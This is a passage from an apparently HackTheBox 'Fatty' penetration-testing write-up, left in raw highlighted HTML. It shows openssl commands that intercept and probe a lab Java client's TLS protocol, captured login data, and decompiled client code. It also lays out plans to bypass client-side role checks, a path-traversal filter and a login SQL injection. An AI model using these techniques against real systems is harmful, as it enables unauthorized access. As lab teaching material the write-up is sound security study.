class=\"enlighter-text\">:P-<\/span><span class=\"enlighter-n1\">384<\/span><span class=\"enlighter-text\">:P-<\/span><span class=\"enlighter-n1\">521<\/span><span class=\"enlighter-text\">:K-<\/span><span class=\"enlighter-n1\">283<\/span><span class=\"enlighter-text\">:B-<\/span><span class=\"enlighter-n1\">283<\/span><span class=\"enlighter-text\">:K-<\/span><span class=\"enlighter-n1\">409<\/span><span class=\"enlighter-text\">:B-<\/span><span class=\"enlighter-n1\">409<\/span><span class=\"enlighter-text\">:K-<\/span><span class=\"enlighter-n1\">571<\/span><span class=\"enlighter-text\">:B-<\/span><span class=\"enlighter-n1\">571<\/span><span class=\"enlighter-text\">:secp256k1<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Shared<\/span><span class=\"enlighter-text\"> Elliptic groups: P-<\/span><span class=\"enlighter-n1\">256<\/span><span class=\"enlighter-text\">:P-<\/span><span class=\"enlighter-n1\">384<\/span><span class=\"enlighter-text\">:P-<\/span><span class=\"enlighter-n1\">521<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">---<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">No<\/span><span class=\"enlighter-text\"> server certificate <\/span><span class=\"enlighter-e3\">CA<\/span><span class=\"enlighter-text\"> names sent<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">CIPHER<\/span><span class=\"enlighter-text\"> is <\/span><span class=\"enlighter-e3\">ECDHE<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">RSA<\/span><span class=\"enlighter-text\">-AES256-SHA384<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Secure<\/span><span class=\"enlighter-text\"> Renegotiation <\/span><span class=\"enlighter-e3\">IS<\/span><span class=\"enlighter-text\"> supported<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>We now get an incoming connection, but nothing is sent by<span>\u00a0<\/span><code>fatty-client.jar<\/code>. Well, seems like the server has to do the first step and we can try to enter some stuff in our<span>\u00a0<\/span><em>s_server<\/em><span>\u00a0<\/span>terminal. If we just enter a random string we get a<span>\u00a0<\/span><em>Connection Error<\/em><span>\u00a0<\/span>by<span>\u00a0<\/span><code>fatty-client.jar<\/code>. So<span>\u00a0<\/span><code>fatty-client.jar<\/code><span>\u00a0<\/span>probably expects some structured input. To determine the corresponding format, we can just connect to the application server using<span>\u00a0<\/span><code>openssl s_client<\/code><span>\u00a0<\/span>and check what the original server is sending:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/www$ openssl s_client -quiet -connect 10.10.10.<\/span><span class=\"enlighter-n1\">174<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">1337<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Can't use SSL_get_servername<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">depth=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> C = <\/span><span class=\"enlighter-e3\">DE<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-e3\">ST<\/span><span class=\"enlighter-text\"> = Here, L = There, O = Fatty, <\/span><span class=\"enlighter-e3\">OU<\/span><span class=\"enlighter-text\"> = FatClient Development, <\/span><span class=\"enlighter-e3\">CN<\/span><span class=\"enlighter-text\"> = Mr. Secure, emailAddress = secure@nonexistend.nonono<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">verify error:num=<\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:self signed certificate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">verify return:<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">depth=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> C = <\/span><span class=\"enlighter-e3\">DE<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-e3\">ST<\/span><span class=\"enlighter-text\"> = Here, L = There, O = Fatty, <\/span><span class=\"enlighter-e3\">OU<\/span><span class=\"enlighter-text\"> = FatClient Development, <\/span><span class=\"enlighter-e3\">CN<\/span><span class=\"enlighter-text\"> = Mr. Secure, emailAddress = secure@nonexistend.nonono<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">verify return:<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">\ufffd\ufffd\ufffd\ufffd\ufffdn\ufffd\ufffdIa<\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\">\ufffd\ufffd<\/span><span class=\"enlighter-c0\">;\ufffd\ufffd\ufffd\ufffd\ufffdK8\ufffdS\/\u057d\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd!\ufffd\ufffd\ufffd\ufffd)BEH\u00cdrv\ufffdqR\ufffd2\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdV\ufffd\ufffd\ufffd\ufffdwo%\ufffd\ufffdVN\ufffd\ufffd\ufffd\ufffdR\ufffdl\ufffdh%I\ufffd\ufffd\ufffd\ufffd\ufffd\u02f3\ufffd^\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd]\ufffd\u0328\ufffd\ufffd+\u0335\uee7f{*\ufffd7f7b\ufffd\ufffd\ufffd<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Urgh. This already looks like a binary protocol. However, one can notice that the actual output changes on each connection. So maybe it is sufficient to present<span>\u00a0<\/span><em>fatty-client.jar<\/em><span>\u00a0<\/span>some input with the same length? Lets try it:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/www$ openssl s_client -quiet -connect 10.10.10.<\/span><span class=\"enlighter-n1\">174<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">1337<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> \/dev\/null <\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> file<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/www$ wc -c file<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">128<\/span><span class=\"enlighter-text\"> file<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~\/www$ openssl s_server -accept <\/span><span class=\"enlighter-n1\">1338<\/span><span class=\"enlighter-text\"> -key fatty.key -cert fatty.cert<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">\ufffd\ufffd\"W\ufffd\ufffd0R\ufffdoD\ufffdWwk\ufffd\ufffd<\/span><span class=\"enlighter-e3\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span><span class=\"enlighter-text\">\ufffd\ufffd'<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">\ufffd\ufffdDqtc:5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The response of<span>\u00a0<\/span><em>fatty-client.jar<\/em><span>\u00a0<\/span>is quite interesting. It seems to reflect the 128 characters that we have sent together with some binary data and the login information. While the username is transmitted in plain text, the password seems to be hashed. Unfortunately, from the first two messages we do not see any standard protocols like<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>or<span>\u00a0<\/span><em>XML<\/em>.<\/p>\n<h3 id=\"decompiling-fatty\">3.5 \u2013 Decompiling Fatty<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>So far we have identified some interesting stuff inside the client, but were not able to exploit anything. It is now time to leave the graphical user interface behind and to write our own client. Using a own client implementation we may be able to do the following things:<\/p>\n<ul>\n<li>The graphical user interface of the client had disabled a lot of functions for our user account<span>\u00a0<\/span><em>qtc<\/em>. Using our own client, we may be able to invoke these functions manually, without having a proper user role.<\/li>\n<li>When using the<span>\u00a0<\/span><code>open<\/code><span>\u00a0<\/span>button, we noticed that our input gets filtered regarding the sequence<span>\u00a0<\/span><code>\/..\/<\/code>. This filtering is may applied on the client side and can be skipped when using a own client implementation.<\/li>\n<li>There is a possible<span>\u00a0<\/span><em>SQLi<span>\u00a0<\/span><\/em>vulnerability inside the login procedure of the client. Even if we identify the correct syntax to exploit it, there is a 5 seconds delay on the login function, which makes data extraction difficult. Maybe this delay is also implemented on the client side and we can bypass it by using our own client.<\/li>\n<\/ul>\n<p>In order to write a own client, we need first of all access to the source code of the original<span>\u00a0<\/span><em>fatty<span>\u00a0<\/span><\/em>client. Therefore, we will now use a decompiler to restore the source code of the<span>\u00a0<\/span><code>fatty-client.jar<\/code><span>\u00a0<\/span>file. As already said in the<span>\u00a0<\/span><em>fat client introduction<\/em>, the selection of decompiler is a matter of choice. I usually prefer the<span>\u00a0<\/span><a href=\"https:\/\/www.benf.org\/other\/cfr\/\" target=\"_blank\" rel=\"noreferrer noopener\">CFR Decompiler<\/a><span>\u00a0<\/span>and the following command line shows you how to decompile<span>\u00a0<\/span><code>fatty-client.jar<\/code><span>\u00a0<\/span>by using<span>\u00a0<\/span><code>cfr-0.146.jar<\/code>.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~\/$ mkdir decompiled<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~\/$ java -jar cfr-0.146.jar --outputpath .\/decompiled fatty-client.jar<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The code that is relevant for us is now located inside of<span>\u00a0<\/span><code>.\/decompiled\/htb<\/code><span>\u00a0<\/span>and I recommend to open this folder by using a tool like e.g.<span>\u00a0<\/span><a href=\"https:\/\/code.visualstudio.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Visual Studio Code<\/a>. We can now start to investigate the source code and to build our own client.<\/p>\n<h3 id=\"own-fatty-client\">3.6 \u2013 Building your own Fatty Client<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>If you haven\u2019t created an<span>\u00a0<\/span><em>Eclipse<span>\u00a0<\/span><\/em>(or what ever technology you decided to use) project yet, it is now the time to do this. Just assign your project an arbitrary name and make sure that<span>\u00a0<\/span><em>fatty-client.jar<\/em><span>\u00a0<\/span>is imported inside your<span>\u00a0<\/span><em>Build Path<\/em>. If you do now know how to do this, read the corresponding section from the<span>\u00a0<\/span><em>fat client introduction<\/em>.<\/p>\n<p>Since the number of custom classes inside the<span>\u00a0<\/span><em>fatty-client.jar<\/em><span>\u00a0<\/span>is quite low, we will use the<span>\u00a0<\/span><em>Top-Down Approach<\/em><span>\u00a0<\/span>for investigating the source code and this means, that we are starting with the main function of the client. In order to identify the location of the main function, we can simply take a look at the<span>\u00a0<\/span><code>MANIFEST.MF<\/code><span>\u00a0<\/span>of<span>\u00a0<\/span><em>fatty-client.jar<\/em>.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~\/$ cat unzipped\/<\/span><span class=\"enlighter-e3\">META<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">INF<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-e3\">MANIFEST<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-e3\">MF<\/span><span class=\"enlighter-text\"> <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Manifest-Version: 1.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Main-Class: htb.fatty.client.run.Starter<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>So the main function should be contained inside<span>\u00a0<\/span><code>htb\/fatty\/client\/run\/Starter.java<\/code>.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-c1\">\/*<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-c1\"> * Decompiled with CFR 0.146.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-c1\"> *\/<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">package<\/span><span class=\"enlighter-k10\"> htb.fatty.client.run<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.client.gui.ClientGuiTest<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.logging.FattyLogger<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">class<\/span><span class=\"enlighter-text\"> Starter <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">static<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">void<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">main<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> argv<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> FattyLogger logger = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">FattyLogger<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> logger.<\/span><span class=\"enlighter-m3\">logInfo<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Fatty starts running. Run Fatty, run!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> logger.<\/span><span class=\"enlighter-m3\">logInfo<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Starting UI!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ClientGuiTest ui = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ClientGuiTest<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ui.<\/span><span class=\"enlighter-m3\">setVisible<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As you can see, the startup function is quite short. The first notable thing is, that a<span>\u00a0<\/span><code>FattyLogger<\/code><span>\u00a0<\/span>object is created. This means, that the client does support some kind of logging, which could be helpful when we encounter more complex problems. But for now we will ignore this class and only keep in mind that logging is available.<\/p>\n<p>The next notable thing is that a<span>\u00a0<\/span><code>ClientGuiTest<\/code><span>\u00a0<\/span>object is generated and the visible property is set to<span>\u00a0<\/span><em>true<\/em>. From the function and class names one can already guess that these lines of code are responsible for spawning the graphical user interface. All other functionality of the client seems to be implemented somewhere else and probably gets invoked after certain actions occur inside the<span>\u00a0<\/span><em>GUI<\/em>. So our next step is to look at the<span>\u00a0<\/span><code>ClientGuiTest<\/code><span>\u00a0<\/span>class and try to determine where the communication with the application server starts.<\/p>\n<p>The<span>\u00a0<\/span><code>ClientGuiTest<\/code><span>\u00a0<\/span>class contains much more code, but most of it is related to spawning the user interface. To find the interesting parts of the code, we can search for keywords like<span>\u00a0<\/span><code>login<\/code>. The following section looks promising:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">JButton btnNewButton = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">JButton<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"Login \"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">btnNewButton.<\/span><span class=\"enlighter-m3\">addActionListener<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ActionListener<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">void<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">actionPerformed<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ActionEvent e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> username = tfUsername.<\/span><span class=\"enlighter-m3\">getText<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">trim<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> password = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">tfPassword.<\/span><span class=\"enlighter-m3\">getPassword<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> user = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">User<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> user.<\/span><span class=\"enlighter-m3\">setUsername<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">username<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> user.<\/span><span class=\"enlighter-m3\">setPassword<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">password<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> conn = Connection.<\/span><span class=\"enlighter-m3\">getConnection<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ConnectionException e1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">LoginPanel,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Connection Error!\"<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Error\"<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">ERROR_MESSAGE<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> conn.<\/span><span class=\"enlighter-m3\">login<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">LoginPanel,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Login Successful!\"<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Login\"<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">INFORMATION_MESSAGE<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> LoginPanel.<\/span><span class=\"enlighter-m3\">setVisible<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">false<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> roleName = conn.<\/span><span class=\"enlighter-m3\">getRoleName<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> user.<\/span><span class=\"enlighter-m3\">setRoleByName<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">roleName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> roleName.<\/span><span class=\"enlighter-m3\">contentEquals<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"admin\"<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> uname.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> users.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> netstat.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ipconfig.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> changePassword.<\/span><span class=\"enlighter-m3\">setEnabled<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span 